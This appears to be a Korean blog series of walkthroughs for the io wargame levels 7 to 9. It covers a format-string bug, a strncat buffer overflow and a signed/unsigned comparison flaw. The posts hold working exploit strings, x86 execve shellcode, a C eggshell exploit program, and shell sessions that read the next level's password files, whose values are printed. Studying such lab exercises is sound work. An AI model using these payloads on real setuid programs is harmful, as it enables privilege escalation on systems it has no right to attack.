level9는 소스가 완전히 바뀌었네요.

int main(int argc, char **argv) {

    int  pad = 0xbabe;
    char buf[1024];
    strncpy(buf, argv[1], sizeof(buf) - 1);

    printf(buf);
   
    return 0;
}



마찬가지로 포맷 스트링입니다. DTOR_END를 이용했습니다.

DTOR_END  : 080494d4

shellcode : "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

egg shell의 주소 : 0xbfffdce4

공격 스트링

/levels/level9 `python -c 'print "AAAA\xd4\x94\x04\x08BBBB\xd6\x94\x04\x08"+"%8x%8x%8x"+"%56508c%n%58139c%n"'`

$-flag를 쓰면

/levels/level9 `python -c 'print "AAAA\xd4\x94\x04\x08BBBB\xd6\x94\x04\x08"+"%4$56532x%5$n%6$58139x%7$n"'`

더 짧게 쓰면

/levels/level9 `python -c 'print "\xd4\x94\x04\x08\xd6\x94\x04\x08"+"%3$56540c%4$n%3$58139c%5$n"'`

기본적인 문제라 어렵지 않게 계산해서 한방에 해결.

pass : uawurxf5

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


level9의 소스입니다.. printf(buf);  포맷스트링이네요. 포맷스트링 버그는 잘 몰라서 시간이 좀 걸렸습니다.

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        char buf[1024];
        strncpy(buf, argv[1], sizeof(buf) - 1);

        printf(buf);

        return 0;
}



몇일동안 날새고 난 휴우증 때문인지 1주일 동안 포맷스트링 어택에 대해서 틈틈히 읽어봤지만 좀처럼 정리가 되질 않더군요. 다행히도 비누님이 작성하신 문서를 보고 나니 먼가 감이 와서 다시 디벼봤습니다.

Format string attack 은 결국 "원하는 주소에 원하는 값을 덮어 씌우는 것" 입니다.

일반적으로 여기서 원하는 주소는 return address 이며 원하는 값은 shellcode의 주소 입니다.

return address 를 찾아봅시다. 스택프레임에서 ebp+4 의 위치에 return address 가 있을거라 생각됩니다.

(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0x418,%esp
......
(gdb) b *0x080483b5

Breakpoint 1 at 0x80483b5
(gdb) r
Starting program: /levels/level9

Breakpoint 1, 0x080483b5 in main ()

(gdb) info reg esp
esp            0xbfffdd48       0xbfffdd48

(gdb) x/12x 0xbfffdd48
0xbfffdd48:     0xbfffdd98      0x00b65ea8      0x00000001      0xbfffddc4
0xbfffdd58:     0xbfffddcc      0x00000000      0x00c7eff4      0x00000000
0xbfffdd68:     0x0046bcc0      0xbfffdd98      0xbfffdd50      0x00b65e6d

(gdb) x/12x 0x00b65ea8
0xb65ea8 <__libc_start_main+200>:       0xe8240489      0x00016570      0x3883d231      0xc2940f00
0xb65eb8 <__libc_start_main+216>:       0xffff4de9      0x3493ffff      0x8b000037      0x00372c83
0xb65ec8 <__libc_start_main+232>:       0x08fff000      0x31c2940f      0x75d284c0      0x2404c7d3





0xbfffdd4c 의 값이 return address 이므로 이곳에 우리가 올린 shellcode의 주소를 넣을수 있다면 원하는 코드를 실행 시킬 수 있을 것입니다.

shellcode는 eggshell 을 이용해서 환경변수에 올렸습니다. 버퍼가 충분해서 쉘코드를 바로 집어넣어도 될듯

level9@io:/tmp$ ./ppyo
Using address: 0xbfffdd08



0xbfffdd08 로 바꾸면되겠네요. bfffdd08 을 그대로 입력하면 3221216520 입니다. 너무 커서 2바이트씩 잘라서 넣습니다.

공격 스트링의 구성입니다.

AAAA \x4c\xdd\xff\xbf  BBBB \x4e\xdd\xff\bf  %8x%8x%8x         %c          %n          %c       %n

    4            4                    4                 4                   24            0xbfffdd4c              0xbfffdd4e
                                                                                                dd08                      bfff              

    


위와 같이 매칭을 해서 집어넣으려면 자리수를 만들어야합니다.

0xdd08 (56584) - 0x28 (40 = 4+4+4+4 +24) = DCE0 (56544)

0x1bfff (114687) - 0xdd08 (56584) = E2F7 (58103)


최종 공격 스트링입니다.

AAAA\x4c\xdd\xff\xbfBBBB\x4e\xdd\xff\bf %8x%8x%8x%56544c%n%58103c%n

자신만만하게 시도했지만 세그 폴트가 나더군요. gdb 상에서 리턴어드레스와 실제 리턴 어드레스는 차이가  난다라는 비누님의 조언과 Null@Root의 Willy 님이 쓰신 글(http://ttongfly.net/zbxe/?document_srl=42560&mid=systemhack&listStyle=&cpage=)을 보고 리턴어드레스를 추측해서
아래의 쿼리로 쉘을 얻을 수 있었습니다. (0x10씩 바꿔서 해봤습니다.)

./level9 `perl -e 'print "AAAA\x3c\xd5\xff\xbfBBBB\x3e\xd5\xff\xbf%8x%8x%8x%56544c%n%58103c%n"'`

sh-3.1$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9)

sh-3.1$ cat /home/level10/.pass
xe0dogrh



저작자 표시 비영리 변경 금지
Posted by badcob badcob

  level8 바이너리의 소스는 그대로인데 strncat으로 붙이면 buf의 내용이 전과는 다르더군요. 

이전엔 do_the_nasty 함수의 ret를  덮어 씌웠지만 이번에는 main 함수의 ret를 덮어 씌웠습니다.

사용한 exploit. (pass : ynfbxd6t)


#include 
#include 
#include 

#define NOP 0x90
#define TARGET "/levels/level8"

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";

unsigned long get_esp(void)
{
  __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
  char *cmd1, *cmd2;
  char *ptr, *egg;
  long *addr_ptr, addr;
  int  size1=32, size2=112;
  int i;

  if (!(cmd1 = malloc(size1))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  if (!(cmd2 = malloc(size2))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  
  if (!(egg = malloc(2048))) {
    printf("Can`t allocate memory.\n");
    exit(0);
  }

  addr = get_esp();

  printf("Using address: 0x%x\n", addr);

  ptr = cmd1;

  for (i = 0; i < size1; i++)
    *(ptr++) = '\x90';

  ptr = cmd2;
  *(ptr++) = NOP;
  addr_ptr = (long *) ptr;

  for (i = 0; i < size2; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for(i = 0; i < 2048 - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for(i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  egg[2048 - 1] = '\0';
  memcpy(egg,"EGG=",4);
  putenv(egg);

  execl(TARGET,"level8",cmd1,cmd2,NULL);
}

--------------------------------------------------------------------
#include <string.h>

// A little learning is a dangerous thing; drink deep, or taste not the Pierian
// spring: there shallow draughts intoxicate the brain, and drinking largely
// sobers us again - Alexander Pope

void do_the_nasty(char *argv[])
{
    char buf[32];
    strncpy(buf, argv[1], sizeof(buf));
    strncat(buf, argv[2], sizeof(buf)-strlen(buf)-1);
}

int main(int argc, char *argv[])
{
    do_the_nasty(argv);
    return 0;
}


level8의 소스입니다. 딱보니 sizeof 와 strlen 의 차이를 이용한 문제입니다.
버퍼는 차지하지만 길이에는 포함 안되는 NULL(\x90)을 이용하면 BOF 할수 있겠네요.
확인해보겠습니다.


level8@io:/levels$ ./level8 `perl -e 'print "A"x4,"\x90"x28," ","AAAA"x1'`

level8@io:/levels$ ./level8 `perl -e 'print "A"x4,"\x90"x28," ","AAAA"x2'`
Segmentation fault

다행입니다.  흠.. 그러고보니 이렇게 되면 버퍼 사이즈때문에 쉘코드를 올릴 수가 없으니.. 
환경변수를 이용해야겠군요.


우선 디스어셈블된 코드를 확인했습니다.


(gdb) disas do_the_nasty
Dump of assembler code for function do_the_nasty:
0x08048394 <do_the_nasty+0>:    push   %ebp
0x08048395 <do_the_nasty+1>:    mov    %esp,%ebp
0x08048397 <do_the_nasty+3>:    push   %edi
0x08048398 <do_the_nasty+4>:    sub    $0x34,%esp                  52만큼 스택을 확장
0x0804839b <do_the_nasty+7>:    mov    0x8(%ebp),%eax
0x0804839e <do_the_nasty+10>:   add    $0x4,%eax                   
0x080483a1 <do_the_nasty+13>:   mov    (%eax),%eax                  argv[1]의 주소를 eax로
0x080483a3 <do_the_nasty+15>:   movl   $0x20,0x8(%esp)                   32를 esp + 8로
0x080483ab <do_the_nasty+23>:   mov    %eax,0x4(%esp)                   argv[1]의 주소를 esp+4로
0x080483af <do_the_nasty+27>:   lea    0xffffffdc(%ebp),%eax              
0x080483b2 <do_the_nasty+30>:   mov    %eax,(%esp)                   ebp-36을 esp로  
0x080483b5 <do_the_nasty+33>:   call   0x80482c8 <strncpy@plt>      strncpy( ebp-36, argv[1], 32);
......

52만큼 확장된 스택에서 buf 가 위치하는곳은 ebp-36이므로 ret address 를 덮어 씌우기 위해서는 

buf(36) + ebp + ret , 총 44바이트를 덮어 씌워야 할겁니다. eggshell을 변형해서 환경변수에 쉘코드를
올렸습니다.


                
 egg 라는 환경변수로 올려놓고 다음과 같이 입력했습니다만 세그 폴트가 났습니다.

level8@io:/tmp$ ./ppp
Using address: 0xbfffdd18

sh-3.1$ /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`
Segmentation fault


스택에 들어갈때의 모습이 궁금해서 열어보기로 했습니다.

(gdb) r `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`

Starting program: /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`

Breakpoint 1, 0x080483fa in do_the_nasty ()

(gdb) info reg
eax            0xbfffd4e4       -1073752860
ecx            0xbfffd512       -1073752814
edx            0x3ffffffc       1073741820
ebx            0x4a4ff4 4870132
esp         0xbfffd4d0     xbfffd4d0
ebp            0xbfffd508       0xbfffd508
esi            0x0      0
edi            0xbfffd508       -1073752824
eip            0x80483fa        0x80483fa <do_the_nasty+102>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) x/60x 0xbfffd4d0

0xbfffd4d0:     0xbfffd4e4      0xbfffd6b3      0xfffffffc      0x003da80e
0xbfffd4e0:     0xbfffd4e4      0x90909090   0x90909090   0x90909090
0xbfffd4f0:     0x90909090   0x90909090  0x90909090   0x90909090
0xbfffd500:     0x90909090   0x18bd2cc0   0x18bfffdd      0x18bfffdd
0xbfffd510:     0x00bfffdd      0xbfffd530      0xbfffd578      0x0038bea8
0xbfffd520:     0x00000000      0x00bd2cc0      0xbfffd578      0x0038bea8
0xbfffd530:     0x00000003      0xbfffd5a4      0xbfffd5b4      0x00000000
0xbfffd540:     0x004a4ff4      0x00000000      0x00bd2cc0      0xbfffd578
0xbfffd550:     0xbfffd530      0x0038be6d      0x00000000      0x00000000
0xbfffd560:     0x00000000      0x00bc8090      0x0038bded      0x00bd2ff4
0xbfffd570:     0x00000003      0x080482f0      0x00000000      0x08048311
0xbfffd580:     0x08048400      0x00000003      0xbfffd5a4      0x08048480
0xbfffd590:     0x08048430      0x00bc8c40      0xbfffd59c      0x00bd34e4
0xbfffd5a0:     0x00000003      0xbfffd683      0xbfffd692      0xbfffd6b3
0xbfffd5b0:     0x00000000      0xbfffd6c0      0xbfffd6d0      0xbfffd6db
(gdb)




붉은색으로 표시한 곳에 3바이트가 있네요. strncat으로 붙이면 이 다음 부터 붙게되서 4바이트 형태의 
원하는 주소값이 제대로 안들어 갑니다. 

따라서 NOP를 1바이트 더 줘서 주소값이 제대로 들어가도록 해봤습니다.

sh-3.1$ /levels/level8 `perl -e 'print "\x90"x32," ","\x90","\x18\xdd\xff\xbf"x3'`

sh-3.1$ id

uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1008(level8)
sh-3.1$ cat /home/level9/.pass
apt2tute



저작자 표시 비영리 변경 금지
Posted by badcob badcob


level7의 소스입니다.
별다른건 없고 sscanf 로 argv[1]의 값들을 정수화해서 id에 집어넣습니다.

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

// We are never deceived; we deceive ourselves. - Johann Wolfgang von Goethe

void check_id(unsigned int id)
{
    if(id > 10) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Not today son\n");
    }
}

int main(int argc, char *argv[])
{
    int id;
    sscanf(argv[1], "%d", &id);
                if(id > 10) {
                        printf("Erm....no\n");
                        exit(-1);
                }
    check_id(id);

    return 0;
}

check_id 함수의 인자로 unsigned int 를 받는게 왠지 시선을 끌길래.. 음수를 넣어봤더니


level7@io:/levels$ ./level7 -1

sh-3.1$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7)

sh-3.1$ cat /home/level8/.pass
ca1fiase     > zkq5xlnh

저작자 표시 비영리 변경 금지
Posted by badcob badcob